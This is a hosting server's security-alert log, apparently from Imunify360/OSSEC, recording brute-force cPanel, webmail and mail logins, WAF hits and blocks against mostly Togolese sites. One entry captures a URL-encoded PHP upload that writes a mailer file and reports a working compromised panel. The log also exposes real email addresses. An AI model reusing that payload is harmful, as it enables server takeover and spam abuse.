81.53.36.105 - - [22/Jun/2026:16:33:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6581141&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146001 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:16:33:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197103&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146001 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.147
country_id: 3469034
description:
Jun 22 16:32:38 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.147 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.23.123.32
country_id: 2017370
description:
Jun 22 16:32:50 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.23.123.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.23.123.32
country_id: 2017370
description:
2026-06-22 16:32:52 dovecot_plain authenticator failed for H=(1jmdseolwul1va0odkvc1eroufc3m) [89.23.123.32]:50885: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.57.184.20
country_id: 6252001
description:
31.57.184.20 - - [22/Jun/2026:16:33:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6647405&pdata=https%253A%252F%252Fdany2.mairie.tg%252Fwp-admin%252Fadmin.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146026 HTTP/2.0" 302 0 dany2.mairie.tg "https://dany2.mairie.tg/wp-admin/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.57.184.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.138.16.178
country_id: 798544
description:
Jun 22 16:34:12 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.138.16.178 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.73.4
country_id: 6252001
description:
[2026-06-22 16:35:17 +0000] info [cpaneld] 217.181.73.4 - ljrwwgxg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Shell+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:36:47 +0000] info [cpaneld] 141.95.93.31 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.67.255.60
country_id: 6252001
description:
[2026-06-22 16:37:20 +0000] info [cpaneld] 173.67.255.60 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.131.77.33
country_id: 6252001
description:
[2026-06-22 16:37:24 +0000] info [cpaneld] 216.131.77.33 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 5.31.196.41
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2021/07/IMG_20210721_160424_062.jpg HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 75.65.83.28
country_id: 6252001
description:
[2026-06-22 16:37:04 +0000] info [cpaneld] 75.65.83.28 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.2.179.100
country_id: 7626836
description:
[2026-06-22 16:37:35 +0000] info [cpaneld] 186.2.179.100 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 143.198.190.213
country_id: 6252001
description:
2026-06-22 16:39:30 dovecot_login authenticator failed for H=(localhost.localdomain) [143.198.190.213]:24246: 535 Incorrect authentication data (set_id=kiran@libertetogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.190.213
country_id: 6252001
description:
Jun 22 16:39:28 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.190.213 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 192.144.107.191
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/etats-generaux-de-lassurance-automobile-au-togo HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:42:04 +0000] info [cpaneld] 141.95.93.31 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:42:28 +0000] info [cpaneld] 141.95.93.31 - test "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user test (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 140.213.14.52
country_id: 1643084
description:
140.213.14.52 - - [22/Jun/2026:16:43:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10274404&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146586 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 12; Redmi Note 9 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:140.213.14.52


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:43:35 +0000] info [cpaneld] 141.95.93.31 - myxlsnta "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.189.184.204
country_id: 337996
description:
196.189.184.204 - - [22/Jun/2026:16:44:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10011285&pdata=https%253A%252F%252Fwebmail.batika.free.netmaster.tg%252F%253Flocale%253Dru&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146654 HTTP/2.0" 302 0 webmail.batika.free.netmaster.tg "https://webmail.batika.free.netmaster.tg/?locale=ru" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.189.184.204


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:44:35 +0000] info [cpaneld] 141.95.93.31 - kpmg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.42.0.18
country_id: 3658394
description:
186.42.0.18 - - [22/Jun/2026:16:45:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039079&pdata=https%253A%252F%252Fmacite.tg%252F2023%252F07%252F28%252Fvie-de-couple-voici-la-position-sexuelle-la-plus-dangereuse-au-monde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146752 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2023/07/28/vie-de-couple-voici-la-position-sexuelle-la-plus-dangereuse-au-monde/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.6776.1361 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.42.0.18


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:46:28 +0000] info [cpaneld] 141.95.93.31 - netmast "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user netmast (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 111.67.102.112
country_id: 1831722
description:
111.67.102.112 - - [22/Jun/2026:16:47:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724196&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146820 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:111.67.102.112


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.12.171.152
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171-1024x768.jpg 1024w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171-300x225.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171-768x576.jpg 768w, http:/togodailynews.tg/wp-content/uploads/2022/12/IMG-20221206-WA0171.jpg 1080w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:47:51 +0000] info [cpaneld] 141.95.93.31 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:16:48:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13409136&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146928 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:16:48:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932585&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146930 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 191.5.68.110
country_id: 3469034
description:
191.5.68.110 - - [22/Jun/2026:16:49:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725793&pdata=https%253A%252F%252Fcpanel.mpa-maquette.free.netmaster.tg%252F%253Flocale%253Dpt&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782146995 HTTP/2.0" 302 0 cpanel.mpa-maquette.free.netmaster.tg "https://cpanel.mpa-maquette.free.netmaster.tg/?locale=pt" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:191.5.68.110


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 167.99.229.136
country_id: 6252001
description:
Jun 22 16:49:26 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 167.99.229.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 167.99.229.136
country_id: 6252001
description:
2026-06-22 16:49:28 dovecot_login authenticator failed for H=(localhost.localdomain) [167.99.229.136]:51014: 535 Incorrect authentication data (set_id=knight@sodigaz.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:49:32 +0000] info [cpaneld] 141.95.93.31 - einguval "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user einguval (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:50:45 +0000] info [cpaneld] 141.95.93.31 - pyllprbc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user pyllprbc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:53:12 +0000] info [cpaneld] 141.95.93.31 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-22 16:53:47 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 31.57.184.20
country_id: 6252001
description:
31.57.184.20 - - [22/Jun/2026:16:53:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10326383&pdata=https%253A%252F%252Fdany2.mairie.tg%252Fwp-admin%252Fadmin.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147232 HTTP/2.0" 302 0 dany2.mairie.tg "https://dany2.mairie.tg/wp-admin/admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:31.57.184.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 176.88.38.242
country_id: 298795
description:
176.88.38.242 - - [22/Jun/2026:16:54:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120302&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffao-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147255 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/fao-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.8461.1426 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.88.38.242


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.153.138
country_id: 1819730
description:
Jun 22 16:55:08 ns5 auth[2600087]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.153.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.153.138
country_id: 1819730
description:
2026-06-22 16:55:10 dovecot_login authenticator failed for H=(223-197-153-138.static.imsbiz.com) [223.197.153.138]:52968: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.209.229.158
country_id: 597427
description:
[2026-06-22 16:55:28 +0000] info [cpaneld] 80.209.229.158 NEW ifxmoxbf:6gxDtyMH0Qsq3c5f address=80.209.229.158,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.181.243.101
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@class='single-related-posts-area theme-single-post-component']/*[2][self::DIV]/*[2][self::ARTICLE]/*[1][self::DIV]/*[1][self::A]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.75.207.64
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/BODY/DIV[@class='single-author-posts-area theme-single-post-component']/*[2][self::DIV]/*[3][self::ARTICLE]/*[1][self::DIV]/*[1][self::A]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.44.61
country_id: 2363686
description:
2026-06-22 16:57:59 dovecot_login authenticator failed for H=(JULES) [196.170.44.61]:8471: 535 Incorrect authentication data (set_id=j.pahounake@ese2i.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.182.74.51
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/premiere-edition-de-la-journee-du-cat HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-22 17:00:19 +0000] info [webmaild] 196.168.0.186 - a.ajavon@wages.tg "POST /cpsess6653889065/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 16:59:58 +0000] info [cpaneld] 141.95.93.31 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:01:22 +0000] info [cpaneld] 141.95.93.31 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.251.146.154
country_id: 1643084
description:
180.251.146.154 - - [22/Jun/2026:17:01:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184809&pdata=https%253A%252F%252Ftogodailynews.tg%252Ftogo-le-developpement-a-la-base-optimise-en-2020%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147696 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/togo-le-developpement-a-la-base-optimise-en-2020/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.3471.1516 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.251.146.154


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.228.19.220
country_id: 6252001
description:
185.228.19.220 - - [22/Jun/2026:17:01:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7106504&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147708 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.228.19.220


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:17:04:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7170410&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147856 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:17:04:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922716&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782147859 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 17:03:34 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:35486: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.164.36.206
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/620758876 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:05:57 +0000] info [cpaneld] 141.95.93.31 - wifizoneuser "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wifizoneuser (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 141.136.63.157
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/HTML/ASIDE/*[3][self::DIV]/*[1][self::DIV]/*[1][self::FIGURE]/*[1][self::IMG] HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:06:37 +0000] info [cpaneld] 141.95.93.31 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.213.229.181
country_id: 1512440
description:
2026-06-22 17:06:37 H=([185.213.229.181]) [185.213.229.181]:30158 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 114.10.103.217
country_id: 1643084
description:
114.10.103.217 - - [22/Jun/2026:17:09:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986855&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782148145 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (Linux; Android 10; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:114.10.103.217


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:09:27 +0000] info [cpaneld] 141.95.93.31 - crepsad "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.76.44.111
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/a1a2a4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:10:38 +0000] info [cpaneld] 141.95.93.31 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.95.93.31
country_id: 3017382
description:
[2026-06-22 17:12:39 +0000] info [cpaneld] 141.95.93.31 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 17:13:50 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:42046: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>le togo franchit un nouveau dans la modernisation de ses infrastructures et la transition \xc3\xa9cologique. le vendredi 19 juin, le ministre de l\xe2\x80\x99am\xc3\xa9nagement du territoire et de l\xe2\x80\x99urbanisme, kodjo adedze, a officiellement inaugur\xc3\xa9 une usine de pr\xc3\xa9fabrication de tuyaux bas carbone au sein de la plateforme industrielle d\xe2\x80\x99ad\xc3\xa9tikop\xc3\xa9 (pia).</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>implant\xc3\xa9e strat\xc3\xa9giquement \xc3\xa0 ad\xc3\xa9tikop\xc3\xa9, cette nouvelle unit\xc3\xa9 de production constitue, en effet, un maillon essentiel du projet raine (r\xc3\xa9seau d\xe2\x80\x99assainissement par intercepteurs pour la non-inondation de nos espaces).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d\xc3\xa9di\xc3\xa9e \xc3\xa0 la fabrication de mat\xc3\xa9riaux \xc3\xa0 faible empreinte carbone, l'usine va fournir des \xc3\xa9quipements de pointe indispensables pour non seulement les grands r\xc3\xa9seaux 